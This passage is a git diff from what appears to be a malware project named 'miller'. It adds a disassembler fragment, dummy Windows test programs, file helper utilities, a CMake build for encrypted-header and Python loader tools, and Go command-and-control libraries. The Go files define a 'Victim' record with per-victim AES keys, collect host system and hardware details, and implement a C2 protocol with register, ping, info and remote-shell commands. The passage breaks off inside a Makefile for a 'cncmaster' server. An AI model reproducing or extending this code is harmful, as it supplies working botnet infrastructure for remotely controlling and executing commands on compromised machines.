(char*)decodedInstructions[i].instructionHex.p, (char*)decodedInstructions[i].mnemonic.p, decodedInstructions[i].operands.length != 0 ? " " : "", (char*)decodedInstructions[i].operands.p); +#endif + bytesproc += decodedInstructions[i].size; + if (bytesproc >= maxbytesproc) break; + } + + if (res == DECRES_SUCCESS) break; // All instructions were decoded. + else if (decodedInstructionsCount == 0) break; + if (bytesproc >= maxbytesproc) break; + + // Synchronize: + next = (unsigned int)(decodedInstructions[decodedInstructionsCount-1].offset - offset); + next += decodedInstructions[decodedInstructionsCount-1].size; + // Advance ptr and recalc offset. + buf += next; + filesize -= next; + offset += next; + } + } + + free(filename); + // Release buffer + free(buf2); + + return EX_OK; +} diff --git a/source/tools/dummy.c b/source/tools/dummy.c new file mode 100644 index 0000000..d7623da --- /dev/null +++ b/source/tools/dummy.c @@ -0,0 +1,34 @@ +#include <windows.h> + +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> + + +int subroutine(void* ptr, int d) +{ + return (int)ptr+d+1; +} + +int main(int argc, char** argv) +{ + DWORD dwWait = 2; + + if (argc > 1 && argc != 2) { + printf("usage: %s [WAIT_TIME]\n", argv[0]); + abort(); + } else if (argc == 2) { + errno = 0; + dwWait = strtoul(argv[1], NULL, 10); + if (errno != 0) + dwWait = 2; + } + + printf("%s", "Hi, I'm a useless dummy like the guy who coded me.\n"); + printf("Waiting %lu seconds ..\n", dwWait); + sleep(dwWait); + printf("%s", "Dummy done.\n"); + if (subroutine(NULL, 1) == 2) { + return 0; + } else return 1; +} diff --git a/source/tools/dummy_gui/callbacks.c b/source/tools/dummy_gui/callbacks.c new file mode 100644 index 0000000..3bc40fd --- /dev/null +++ b/source/tools/dummy_gui/callbacks.c @@ -0,0 +1,94 @@ +#include "callbacks.h" +#include "resource.h" + +// Window procedure for our main window. +LRESULT CALLBACK MainWndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) +{ + static HINSTANCE hInstance; + + switch (msg) + { + case WM_COMMAND: + { + switch (LOWORD(wParam)) + { + case ID_HELP_ABOUT: + { + DialogBox(hInstance, MAKEINTRESOURCE(IDD_ABOUTDIALOG), hWnd, &AboutDialogProc); + return 0; + } + + case ID_FILE_EXIT: + { + DestroyWindow(hWnd); + return 0; + } + } + break; + } + + case WM_GETMINMAXINFO: + { + MINMAXINFO *minMax = (MINMAXINFO*) lParam; + minMax->ptMinTrackSize.x = 220; + minMax->ptMinTrackSize.y = 110; + + return 0; + } + + case WM_SYSCOMMAND: + { + switch (LOWORD(wParam)) + { + case ID_HELP_ABOUT: + { + DialogBox(hInstance, MAKEINTRESOURCE(IDD_ABOUTDIALOG), hWnd, &AboutDialogProc); + return 0; + } + } + break; + } + + case WM_CREATE: + { + hInstance = ((LPCREATESTRUCT) lParam)->hInstance; + return 0; + } + + case WM_DESTROY: + { + PostQuitMessage(0); + return 0; + } + } + + return DefWindowProc(hWnd, msg, wParam, lParam); +} + + +// Dialog procedure for our "about" dialog. +INT_PTR CALLBACK AboutDialogProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam) +{ + (void)lParam; + switch (uMsg) + { + case WM_COMMAND: + { + switch (LOWORD(wParam)) + { + case IDOK: + case IDCANCEL: + { + EndDialog(hwndDlg, (INT_PTR) LOWORD(wParam)); + return (INT_PTR) TRUE; + } + } + break; + } + + case WM_INITDIALOG: + return (INT_PTR) TRUE; + } + + return (INT_PTR) FALSE; +} diff --git a/source/tools/dummy_gui/callbacks.h b/source/tools/dummy_gui/callbacks.h new file mode 100644 index 0000000..7cc79c5 --- /dev/null +++ b/source/tools/dummy_gui/callbacks.h @@ -0,0 +1,12 @@ +#ifndef CALLBACKS_H +#define CALLBACKS_H + +#include <windows.h> + +// Window procedure for our main window. +LRESULT CALLBACK MainWndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); + +// Dialog procedure for our "about" dialog. +INT_PTR CALLBACK AboutDialogProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam); + +#endif diff --git a/source/tools/dummy_gui/res/Application.ico b/source/tools/dummy_gui/res/Application.ico Binary files differnew file mode 100644 index 0000000..d551aa3 --- /dev/null +++ b/source/tools/dummy_gui/res/Application.ico diff --git a/source/tools/dummy_gui/res/Application.manifest b/source/tools/dummy_gui/res/Application.manifest new file mode 100644 index 0000000..d984135 --- /dev/null +++ b/source/tools/dummy_gui/res/Application.manifest @@ -0,0 +1,16 @@ +<?xml version="1.0" encoding="UTF-8" standalone="yes"?> + +<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> + <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> + <security> + <requestedPrivileges> + <requestedExecutionLevel level="asInvoker" uiAccess="false"/> + </requestedPrivileges> + </security> + </trustInfo> + <dependency> + <dependentAssembly> + <assemblyIdentity type="Win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"/> + </dependentAssembly> + </dependency> +</assembly>
\ No newline at end of file diff --git a/source/tools/dummy_gui/res/resource.rc b/source/tools/dummy_gui/res/resource.rc new file mode 100644 index 0000000..489dd7a --- /dev/null +++ b/source/tools/dummy_gui/res/resource.rc @@ -0,0 +1,73 @@ +#include <windows.h> +#include "resource.h" + +// Win32 application icon. +IDI_APPICON ICON "Application.ico" + +// Our main menu. +IDR_MAINMENU MENU +BEGIN + POPUP "&File" + BEGIN + MENUITEM "E&xit", ID_FILE_EXIT + END + POPUP "&Help" + BEGIN + MENUITEM "&About", ID_HELP_ABOUT + END +END + +// Application manifest. +CREATEPROCESS_MANIFEST_RESOURCE_ID RT_MANIFEST "Application.manifest" + +// Executable version information. +VS_VERSION_INFO VERSIONINFO +FILEVERSION 1,0,0,0 +PRODUCTVERSION 1,0,0,0 +FILEFLAGSMASK VS_FFI_FILEFLAGSMASK +#ifdef _DEBUG + FILEFLAGS VS_FF_DEBUG | VS_FF_PRERELEASE +#else + FILEFLAGS 0 +#endif +FILEOS VOS_NT_WINDOWS32 +FILETYPE VFT_APP +FILESUBTYPE VFT2_UNKNOWN +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "080904b0" + BEGIN + VALUE "CompanyName", "Transmission Zero" + VALUE "FileDescription", "Win32 Test application" + VALUE "FileVersion", "1.0.0.0" + VALUE "InternalName", "Win32App" + VALUE "LegalCopyright", "©2013 Transmission Zero" + VALUE "OriginalFilename", "Win32App.exe" + VALUE "ProductName", "Win32 Test application" + VALUE "ProductVersion", "1.0.0.0" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x809, 1200 + END +END + +// Our "about" dialog. +IDD_ABOUTDIALOG DIALOGEX 0, 0, 147, 67 +STYLE DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU +CAPTION "About" +FONT 8, "MS Shell Dlg", 400, 0, 0x1 +BEGIN + ICON IDI_APPICON,IDC_STATIC,7,7,20,20 + LTEXT "Win32 Test application.",IDC_STATIC,34,7,86,8 + LTEXT "©2013 Transmission Zero",IDC_STATIC,34,17,86,8 + DEFPUSHBUTTON "OK",IDOK,90,46,50,14,WS_GROUP +END + +// Our accelerators. +IDR_ACCELERATOR ACCELERATORS +BEGIN + "A", ID_HELP_ABOUT, VIRTKEY, ALT, NOINVERT +END diff --git a/source/tools/dummy_gui/resource.h b/source/tools/dummy_gui/resource.h new file mode 100644 index 0000000..ccda0e7 --- /dev/null +++ b/source/tools/dummy_gui/resource.h @@ -0,0 +1,10 @@ +#define IDI_APPICON 101 +#define IDR_MAINMENU 102 +#define IDR_ACCELERATOR 103 +#define IDD_ABOUTDIALOG 104 +#define ID_FILE_EXIT 40001 +#define ID_HELP_ABOUT 40002 + +#ifndef IDC_STATIC + #define IDC_STATIC -1 +#endif diff --git a/source/tools/dummy_gui/winmain.c b/source/tools/dummy_gui/winmain.c new file mode 100644 index 0000000..e2de4ac --- /dev/null +++ b/source/tools/dummy_gui/winmain.c @@ -0,0 +1,83 @@ +#include <windows.h> +#include <commctrl.h> +#include "resource.h" +#include "callbacks.h" + +// Our application entry point. +int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) +{ + INITCOMMONCONTROLSEX icc; + WNDCLASSEX wc; + LPCTSTR MainWndClass = TEXT("Win32 Test application"); + HWND hWnd; + HACCEL hAccelerators; + HMENU hSysMenu; + MSG msg; + + (void)hPrevInstance; + (void)lpCmdLine; + + // Initialise common controls. + icc.dwSize = sizeof(icc); + icc.dwICC = ICC_WIN95_CLASSES; + InitCommonControlsEx(&icc); + + // Class for our main window. + wc.cbSize = sizeof(wc); + wc.style = 0; + wc.lpfnWndProc = &MainWndProc; + wc.cbClsExtra = 0; + wc.cbWndExtra = 0; + wc.hInstance = hInstance; + wc.hIcon = (HICON) LoadImage(hInstance, MAKEINTRESOURCE(IDI_APPICON), IMAGE_ICON, 0, 0, + LR_DEFAULTSIZE | LR_DEFAULTCOLOR | LR_SHARED); + wc.hCursor = (HCURSOR) LoadImage(NULL, IDC_ARROW, IMAGE_CURSOR, 0, 0, LR_SHARED); + wc.hbrBackground = (HBRUSH) (COLOR_BTNFACE + 1); + wc.lpszMenuName = MAKEINTRESOURCE(IDR_MAINMENU); + wc.lpszClassName = MainWndClass; + wc.hIconSm = (HICON) LoadImage(hInstance, MAKEINTRESOURCE(IDI_APPICON), IMAGE_ICON, + GetSystemMetrics(SM_CXSMICON), GetSystemMetrics(SM_CYSMICON), + LR_DEFAULTCOLOR | LR_SHARED); + + // Register our window classes, or error. + if (! RegisterClassEx(&wc)) + { + MessageBox(NULL, TEXT("Error registering window class."), TEXT("Error"), MB_ICONERROR | MB_OK); + return 0; + } + + // Create instance of main window. + hWnd = CreateWindowEx(0, MainWndClass, MainWndClass, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, + 320, 200, NULL, NULL, hInstance, NULL); + + // Error if window creation failed. + if (! hWnd) + { + MessageBox(NULL, TEXT("Error creating main window."), TEXT("Error"), MB_ICONERROR | MB_OK); + return 0; + } + + // Load accelerators. + hAccelerators = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDR_ACCELERATOR)); + + // Add "about" to the system menu. + hSysMenu = GetSystemMenu(hWnd, FALSE); + InsertMenu(hSysMenu, 5, MF_BYPOSITION | MF_SEPARATOR, 0, NULL); + InsertMenu(hSysMenu, 6, MF_BYPOSITION, ID_HELP_ABOUT, TEXT("About")); + + // Show window and force a paint. + ShowWindow(hWnd, nCmdShow); + UpdateWindow(hWnd); + + // Main message loop. + while(GetMessage(&msg, NULL, 0, 0) > 0) + { + if (! TranslateAccelerator(msg.hwnd, hAccelerators, &msg)) + { + TranslateMessage(&msg); + DispatchMessage(&msg); + } + } + + return (int) msg.wParam; +} diff --git a/source/tools/helper.c b/source/tools/helper.c new file mode 100644 index 0000000..a27da7e --- /dev/null +++ b/source/tools/helper.c @@ -0,0 +1,150 @@ +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> +#include <stdint.h> +#include <stdbool.h> +#include <fcntl.h> +#include <string.h> + +#include <sys/stat.h> + +#ifdef __MINGW32__ +#include <windows.h> +#else +#include <sys/mman.h> /* mmap - not available on windoze */ +#endif + +#include "helper.h" + +#ifdef _USE_PYTHON +#undef _POSIX_C_SOURCE +#undef _XOPEN_SOURCE +#include <Python.h> +#endif + + +static const char hextable[] = "0123456789ABCDEF"; + + +#ifdef _USE_PYTHON +void* MyPyMem_Calloc(size_t n, size_t s) +{ + void* ptr = PyMem_Malloc(n*s); + if (ptr) + memset(ptr, '\0', n*s); + return ptr; +} +#endif + +char* mapfile(const char* path, size_t* mapsizptr) +{ + /* TODO: MINGW alternative should to exactly the same as the linux one! (map file to memory without duplicating the mmap's buffer) */ +#ifdef __MINGW32__ + HANDLE hfile = CreateFile(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hfile == INVALID_HANDLE_VALUE) + return NULL; + if (SetFilePointer(hfile, 0, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) + return NULL; + *mapsizptr = GetFileSize(hfile, NULL); + if (*mapsizptr == INVALID_FILE_SIZE) + return NULL; + char* buf = calloc(*mapsizptr, sizeof(char)); + DWORD szread = 0; + if (!buf) + return NULL; + if (ReadFile(hfile, buf, *mapsizptr, &szread, NULL) != TRUE) { + free(buf); + return NULL; + } + CloseHandle(hfile); + return buf; +#else + int fd = open(path, O_RDWR); + if (fd == -1) + return NULL; + struct stat sb; + if (fstat(fd, &sb) == -1) + return NULL; + char* mapd = mmap(NULL, sb.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); + if (mapd == MAP_FAILED) + return NULL; + *mapsizptr = sb.st_size; + close(fd); + return mapd; +#endif +} + +ssize_t writebuf(const char* path, unsigned char* buf, size_t siz) +{ + int ffd = open(path, O_WRONLY | O_CREAT | O_TRUNC, + S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); + ssize_t wrt = write(ffd, buf, siz); + close(ffd); + return wrt; +} + +char* bintostr(const char* buf, size_t siz, size_t delim, size_t *strlenptr) +{ + register size_t i; + size_t allocLen = ( delim > 0 ? (int)(siz/delim) : 1 ) + siz*2; + char* result = calloc(allocLen+1, sizeof(char)); + char tmp[4]; + + tmp[3] = '\0'; + for (i = 0; i < siz; ++i) { + register unsigned char halfByte = buf[i] >> 4; + tmp[0] = hextable[halfByte%16]; + halfByte = buf[i] & 0x0F; + tmp[1] = hextable[halfByte%16]; + tmp[2] = '\0'; + if (delim>0 && i%delim==delim-1) + tmp[2] = ' '; + strcat(result, tmp); + } + result[allocLen] = '\0'; + if (strlenptr) { + *strlenptr = allocLen; + } + return result; +} + +void printrimmed(char* str, size_t siz, size_t charsperline, bool printlinenmb) +{ + if (charsperline == 0) { + printf("%s\n", str); + } else { + unsigned long ln = 0; + for (size_t i = 0; i < siz; i+=charsperline) { + if (printlinenmb) { + printf("%04lu: ", ln++); + } + size_t psiz = (i+1 < siz-charsperline ? charsperline : siz-i); + printf("%.*s\n", (int)psiz, (str + i)); + } + } +} + +void printbytebuf(char* buf, size_t siz, size_t charsperline, bool printlinenmb) +{ + size_t hexlen = 0; + char* hexbuf = bintostr(buf, siz, 1, &hexlen); + printrimmed(hexbuf, hexlen, charsperline, printlinenmb); + free(hexbuf); +} + +char *strnstr(const char *haystack, const char *needle, size_t len) +{ + int i; + size_t needle_len; + + if (0 == (needle_len = strnlen(needle, len))) + return (char *)haystack; + + for (i=0; i<=(int)(len-needle_len); i++) { + if ((haystack[0] == needle[0]) && + (0 == strncmp(haystack, needle, needle_len))) + return (char *)haystack; + haystack++; + } + return NULL; +} diff --git a/source/tools/helper.h b/source/tools/helper.h new file mode 100644 index 0000000..cc5e75b --- /dev/null +++ b/source/tools/helper.h @@ -0,0 +1,37 @@ +#ifndef HELPER_H_INCLUDED +#define HELPER_H_INCLUDED + +#include <stdbool.h> +#include <stdlib.h> + +#ifdef _USE_PYTHON +/* Python header files redefine some macros */ +#undef _POSIX_C_SOURCE +#undef _XOPEN_SOURCE +#include <Python.h> /* obligatory */ + +#undef calloc +#undef malloc +#undef realloc +#undef free +#define calloc MyPyMem_Calloc +#define malloc PyMem_Malloc +#define realloc PyMem_Realloc +#define free PyMem_Free +void* MyPyMem_Calloc(size_t n, size_t s); +#endif /* _USE_PYTHON */ + + +char* mapfile(const char* path, size_t* mapsizptr); + +ssize_t writebuf(const char* path, unsigned char* buf, size_t siz); + +char* bintostr(const char* buf, size_t siz, size_t delim, size_t *strlenptr); + +void printrimmed(char* str, size_t siz, size_t charsperline, bool printlinenmb); + +void printbytebuf(char* buf, size_t siz, size_t charsperline, bool printlinenmb); + +char *strnstr(const char *haystack, const char *needle, size_t len); + +#endif diff --git a/source/tools/host/CMakeLists.txt b/source/tools/host/CMakeLists.txt new file mode 100644 index 0000000..4acadcc --- /dev/null +++ b/source/tools/host/CMakeLists.txt @@ -0,0 +1,106 @@ +cmake_minimum_required(VERSION 2.8) +set(SYSROOT_DIR ../../../deps/sysroot/bin) +set(TOOLCHAIN_PREFIX ${CMAKE_SOURCE_DIR}/${SYSROOT_DIR}) +set(CMAKE_C_COMPILER ${TOOLCHAIN_PREFIX}/gcc) +set(CMAKE_LINKER ${TOOLCHAIN_PREFIX}/ld) +set(CMAKE_CXX_COMPILER false) +set(CMAKE_CXX_LINK_EXECUTABLE false) +set(CMAKE_RC_COMPILER_INIT false) +project(host-tools C) +set(CMAKE_VERBOSE_MAKEFILE ON) +set(CMAKE_RULE_MESSAGES OFF) + +set(CMAKE_C_FLAGS "-Wall -std=gnu99 -g -D_GNU_SOURCE=1 -D_NO_COMPAT=1 -D_NO_UTILS=1 -D_HOST_TOOLS=1") + +set(MILLER_DEFAULT_SRCDIR ${CMAKE_SOURCE_DIR}/../.. CACHE INTERNAL "" FORCE) +set(MILLER_DEFAULT_HDRDIR ${CMAKE_SOURCE_DIR}/../../../include CACHE INTERNAL "" FORCE) +set(MILLER_DEFAULT_TOOLSDIR ${CMAKE_SOURCE_DIR}/.. CACHE INTERNAL "" FORCE) + +message(STATUS "CMAKE_C_COMPILER: ${CMAKE_C_COMPILER}") +message(STATUS "CMAKE_LINKER: ${CMAKE_LINKER}") +message(STATUS "CMAKE_C_LINK_EXECUTABLE: ${CMAKE_C_LINK_EXECUTABLE}") + +if (NOT MILLER_SRCDIR) + message(AUTHOR_WARNING "MILLER_SRCDIR: missing, using default ${MILLER_DEFAULT_SRCDIR}") + set(MILLER_SRCDIR ${MILLER_DEFAULT_SRCDIR}) +else() + message(STATUS "MILLER_SRCDIR: ${MILLER_SRCDIR}") +endif() + +if (NOT MILLER_TOOLSDIR) + message(AUTHOR_WARNING "MILLER_TOOLSDIR: missing") + set(MILLER_TOOLSDIR ${MILLER_DEFAULT_TOOLSDIR}) +else() + message(STATUS "MILLER_TOOLSDIR: ${MILLER_TOOLSDIR}") +endif() + +if (NOT MILLER_HDRDIR) + message(AUTHOR_WARNING "MILLER_HDRDIR: missing") + set(MILLER_HDRDIR ${MILLER_DEFAULT_HDRDIR}) +else() + message(STATUS "MILLER_HDRDIR: ${MILLER_HDRDIR}") +endif() + +if (NOT MILLER_HDRDIR_CREATED) + message(FATAL_ERROR "MILLER_HDRDIR_CREATED: missing") +endif() + +if (NOT LOADER_ENDMARKER) + message(FATAL_ERROR "LOADER_ENDMARKER: missing") +else() + message(STATUS "LOADER_ENDMARKER: ${LOADER_ENDMARKER}") +endif() + +if (NOT PYTHON_INCDIR) + message(FATAL_ERROR "PYTHON_INCDIR: missing") +else() + message(STATUS "PYTHON_INCDIR: ${PYTHON_INCDIR}") +endif() + +message(STATUS "INSTALL_DEST: ${INSTALL_DEST}") + + +set(CRYPT_SRC ${MILLER_SRCDIR}/aes.c ${MILLER_SRCDIR}/crypt.c ${MILLER_SRCDIR}/utils.c hdr_crypt.c) +set(STRINGS_SRC ${MILLER_SRCDIR}/crypt_strings.c ${MILLER_SRCDIR}/crypt.c ${MILLER_SRCDIR}/utils.c ${MILLER_TOOLSDIR}/helper.c) + + +add_executable(hdr_crypt-host ${CRYPT_SRC}) +target_include_directories(hdr_crypt-host PRIVATE ${MILLER_HDRDIR} ${MILLER_TOOLSDIR}) + + +add_executable(strings-host ${STRINGS_SRC}) +target_include_directories(strings-host PRIVATE ${MILLER_HDRDIR} ${MILLER_HDRDIR_CREATED} ${MILLER_TOOLSDIR}) +target_compile_definitions(strings-host PRIVATE _PRE_RELEASE=1 _STRINGS_BIN=1) + + +add_library(pyloader SHARED ${MILLER_TOOLSDIR}/helper.c pyloader.c) +target_include_directories(pyloader PRIVATE ${PYTHON_INCDIR} ${MILLER_HDRDIR} ${MILLER_TOOLSDIR}) +target_compile_definitions(pyloader PRIVATE _USE_PYTHON=1 _LOADER_ENDMARKER=${LOADER_ENDMARKER}) +set_target_properties(pyloader PROPERTIES PREFIX "") +set_target_properties(pyloader PROPERTIES COMPILE_FLAGS "-fPIC -O2 -shared -Wextra -Wno-unused-parameter") + + +add_library(pycrypt SHARED ${MILLER_SRCDIR}/utils.c ${MILLER_SRCDIR}/crypt.c ${MILLER_SRCDIR}/aes.c ${MILLER_TOOLSDIR}/helper.c pycrypt.c) +target_include_directories(pycrypt PRIVATE ${PYTHON_INCDIR} ${MILLER_HDRDIR} ${MILLER_TOOLSDIR}) +target_compile_definitions(pycrypt PRIVATE _USE_PYTHON=1) +set_target_properties(pycrypt PROPERTIES PREFIX "") +set_target_properties(pycrypt PROPERTIES COMPILE_FLAGS "-fPIC -O2 -shared -Wextra -Wno-unused-parameter -Wno-sign-compare") + + +macro(host_tools_install target destdir) + set(${target}_FILE "${destdir}/${target}") + + add_custom_command(OUTPUT ${${target}_FILE} /force-run + COMMAND ${CMAKE_COMMAND} -E copy_if_different "$<TARGET_FILE:${target}>" "${${target}_FILE}" + ) + add_custom_target(${target}-install + ALL + DEPENDS ${target} ${${target}_FILE} + ) + add_dependencies(${target}-install ${target}) +endmacro() + +host_tools_install(hdr_crypt-host ${INSTALL_DEST}) +host_tools_install(pyloader ${INSTALL_DEST}) +host_tools_install(pycrypt ${INSTALL_DEST}) +host_tools_install(strings-host ${INSTALL_DEST}) diff --git a/source/tools/host/go/cnclib/miller_consts.go b/source/tools/host/go/cnclib/miller_consts.go new file mode 100644 index 0000000..388c25c --- /dev/null +++ b/source/tools/host/go/cnclib/miller_consts.go @@ -0,0 +1,98 @@ +package miller + +import ( + "fmt" +) + + +const KEY_256 uint8 = (256/8) +const MARKER_SIZ uint8 = 8 +const AESKEY_SIZ uint8 = 32 +const HW_PROFILE_GUIDLEN uint8 = 39 +const MAX_PROFILE_LEN uint8 = 80 + +const RF_INITIAL uint8 = 0x00 +const RF_AGAIN uint8 = 0x41 +const RF_ERROR uint8 = 0x42 +const RF_OK uint8 = 0x66 + +const RC_INFO uint16 = 0xACAB +const RC_REGISTER uint16 = 0xAABB +const RC_PING uint16 = 0x0043 +const RC_SHELL uint16 = 0x0044 + +func RCtoString(rc uint16) string { + switch rc { + case RC_INFO: + return "RC_INFO" + case RC_REGISTER: + return "RC_REGISTER" + case RC_PING: + return "RC_PING" + case RC_SHELL: + return "RC_SHELL" + default: + return "UNKNOWN" + } +} + +type HttpResp struct { + StartMarker [MARKER_SIZ]byte + RespFlags uint8 + RespCode uint16 + Pkgsiz uint32 + Pkgbuf []byte +} + +func (hr *HttpResp) String() string { + return fmt.Sprintf("Marker: '%s', Flags: 0x%04X, Code: 0x%04X, " + + "PKGSIZ: 0x%04X, PKGBUF: '%v'", + hr.StartMarker, hr.RespFlags, hr.RespCode, + hr.Pkgsiz, hr.Pkgbuf) +} + +type RespRegister struct { + Aeskey [AESKEY_SIZ]byte + NextPing uint32 +} + +type RespPong struct { + NextPing uint32 +} + +type RespShell struct { + Operation uint8 + Showcmd uint8 + FileLen uint16 + ParamLen uint16 + DirLen uint16 + Data []byte +} + +type SYSTEM_INFO_32 struct { + ProcessorArchitecture uint16 + Reserved uint16 + PageSize uint32 + MinimumApplicationAddress uint32 + MaximumApplicationAddress uint32 + ActiveProcessorMask uint32 + NumberOfProcessors uint32 + ProcessorType uint32 + AllocationGranularity uint32 + ProcessorLevel uint16 + ProcessorRevision uint16 +} + +type HW_PROFILE_INFOA struct { + DockInfo uint32 + HwProfileGuid [HW_PROFILE_GUIDLEN]byte + HwProfileName [MAX_PROFILE_LEN]byte +} + +type ReqInfo struct { + SI SYSTEM_INFO_32 + HW HW_PROFILE_INFOA + CmdLineLen uint16 + DevsLen uint8 + Data []byte +} diff --git a/source/tools/host/go/cnclib/miller_victim.go b/source/tools/host/go/cnclib/miller_victim.go new file mode 100644 index 0000000..15f7917 --- /dev/null +++ b/source/tools/host/go/cnclib/miller_victim.go @@ -0,0 +1,165 @@ +package miller + +import ( + "github.com/zhuangsirui/binpacker" + + "fmt" + "time" + "encoding/json" + "encoding/binary" + //"encoding/hex" + "bytes" +) + + +type Victim struct { + Last_rf_rx uint8 `json:"LRFRX"` + Last_rc_rx uint16 `json:"LRCRX"` + Last_rf_tx uint8 `json:"LRFTX"` + Last_rc_tx uint16 `json:"LRCTX"` + Last_active time.Time `json:"LA"` + Last_json time.Time `json:"LJ"` + Aeskey [AESKEY_SIZ]byte `json:"AK"` + Requests uint `json:"REQS"` +} + + +func NewVictim() *Victim { + return &Victim{ 0, 0, 0, 0, time.Time{}, time.Time{}, [AESKEY_SIZ]byte{}, 0 } +} + +func (v *Victim) Reset() { + v.Last_rf_rx = 0 + v.Last_rf_rx = 0 +} + +func (v *Victim) String() string { + return fmt.Sprintf("last_rf_rx: 0x%04X, last_rc_rx: 0x%04X, last_rf_tx: 0x%04X, " + + "last_rc_tx: 0x%04X, aeskey: '%v', requests: %v", + v.Last_rf_rx, v.Last_rc_rx, v.Last_rf_tx, v.Last_rc_tx, v.Aeskey, v.Requests) +} + +func (v *Victim) ToJSON(debug_only bool) ([]byte, error) { + if !debug_only { + v.Last_json = time.Now() + } + return json.Marshal(v) +} + +func (v *Victim) FromJSON(json_input []byte) error { + return json.Unmarshal(json_input, v) +} + +func copySliceToArray(dest []byte, src []byte, siz int) error { + if len(src) != len(dest) { + return fmt.Errorf("parseValue: %d bytes (src) != %d bytes (dest)", len(src), len(dest)) + } + copied := copy(dest[:], src) + if copied != siz { + return fmt.Errorf("parseMarker: copied only %d instead of %d", copied, siz) + } + return nil +} + +func ParseMarker(dest *[MARKER_SIZ]byte, src []byte) error { + return copySliceToArray(dest[:], src, int(MARKER_SIZ)) +} + +func ParseMarkerResponse(response *HttpResp, src []byte) error { + return ParseMarker(&response.StartMarker, src) +} + +func ParseAESKey(dest *[AESKEY_SIZ]byte, src []byte) error { + return copySliceToArray(dest[:], src, int(AESKEY_SIZ)) +} + +func ParseAESKeyResponse(response *RespRegister, src []byte) error { + return ParseAESKey(&response.Aeskey, src) +} + +func (v *Victim) SetAESKey(aeskey []byte) error { + return ParseAESKey(&v.Aeskey, aeskey) +} + +func (v *Victim) HasAESKey() bool { + var nullkey [AESKEY_SIZ]byte + return !bytes.Equal(v.Aeskey[:], nullkey[:]) +} + +func (v *Victim) ParseRequest(dest []byte, response *HttpResp) error { + buffer := bytes.NewBuffer(dest) + unpacker := binpacker.NewUnpacker(binary.LittleEndian, buffer) + marker_bytearr, err := unpacker.ShiftBytes(uint64(MARKER_SIZ)) + if err != nil { + return fmt.Errorf("marker: %s", err) + } + if copy(response.StartMarker[:], marker_bytearr) != int(MARKER_SIZ) { + return fmt.Errorf("marker: copy failed") + } + v.Last_active = time.Now() + unpacker.FetchUint8(&response.RespFlags) + v.Last_rf_rx = response.RespFlags + unpacker.FetchUint16(&response.RespCode) + v.Last_rc_rx = response.RespCode + if !v.HasAESKey() { + v.Last_rc_rx = RC_REGISTER + } + unpacker.FetchUint32(&response.Pkgsiz) + response.Pkgbuf, err = unpacker.ShiftBytes(uint64(response.Pkgsiz)) + if err != nil { + return fmt.Errorf("pkgbuf: %s", err) + } + v.Requests++ + return nil +} + +func (v *Victim) buildResponse(response *HttpResp, dest []byte) ([]byte, error) { + buffer := bytes.Buffer{} + packer := binpacker.NewPacker(binary.LittleEndian, &buffer) + packer.PushBytes(response.StartMarker[:]) + packer.PushUint8(response.RespFlags) + v.Last_rf_tx = response.RespFlags + packer.PushUint16(response.RespCode) + v.Last_rc_tx = response.RespCode + packer.PushUint32(response.Pkgsiz) + packer.PushBytes(response.Pkgbuf) + err := packer.Error() + if err != nil { + v.Reset() + return nil, err + } + return append(dest, buffer.Bytes()...), nil +} + +func (v *Victim) BuildRegisterResponse(response *HttpResp, respreg *RespRegister, dest []byte) ([]byte, error) { + buffer := bytes.Buffer{} + packer := binpacker.NewPacker(binary.LittleEndian, &buffer) + packer.PushBytes(respreg.Aeskey[:]) + packer.PushUint32(respreg.NextPing) + err := packer.Error() + if err != nil { + return nil, err + } + response.Pkgsiz = uint32(len(buffer.Bytes())) + response.Pkgbuf = buffer.Bytes() + return v.buildResponse(response, dest) +} + +func (v *Victim) BuildPongResponse(response *HttpResp, respong *RespPong, dest []byte) ([]byte, error) { + buffer := bytes.Buffer{} + packer := binpacker.NewPacker(binary.LittleEndian, &buffer) + packer.PushUint32(respong.NextPing) + err := packer.Error() + if err != nil { + return nil, err + } + response.Pkgsiz = uint32(len(buffer.Bytes())) + response.Pkgbuf = buffer.Bytes() + return v.buildResponse(response, dest) +} + +func (v *Victim) BuildInfoResponse(response *HttpResp, dest []byte) ([]byte, error) { + response.Pkgsiz = 0 + response.Pkgbuf = nil + return v.buildResponse(response, dest) +} diff --git a/source/tools/host/go/cncmaster/Makefile b/source/tools/host/go/cncmaster/Makefile new file mode 100644 index 0000000..7f026da --- /dev/null +++ b/source/tools/host/go/cncmaster/Makefile @@ -0,0 +1,37 @@ +GOCC ?= go +RM ?= rm +GOPATH := $(shell realpath ./deps) +INSTALL ?= install +DESTDIR ?= . +BIN := cncmaster +ifeq ($(strip $(GOARCH)),) +BIN := $(BIN)-host +else +BIN := $(BIN)-$(GOARCH)$(GOARM) +endif +SRCS := main.go http.go +DEP_MUX := deps/src/github.com/gorilla/mux/mux.go + +all: $(BIN) + +%.go: + +$(DEP_MUX): + GOPATH=$(GOPATH) $(GOCC) get -v -u github.com/gorilla/mux + +$(BIN): $(DEP_MUX) $(SRCS) +ifeq ($(strip $(IS_GCCGO)),) + GOPATH=$(GOPATH) $(GOCC) build -ldflags="-s -w" -o $(BIN) . +else + GOPATH=$(GOPATH) $(GOCC) build -gccgoflags="-s -w -pthread" -o $(BIN) . +endif + +$(BIN)-install: $(BIN) + $(INSTALL) -D $(BIN) 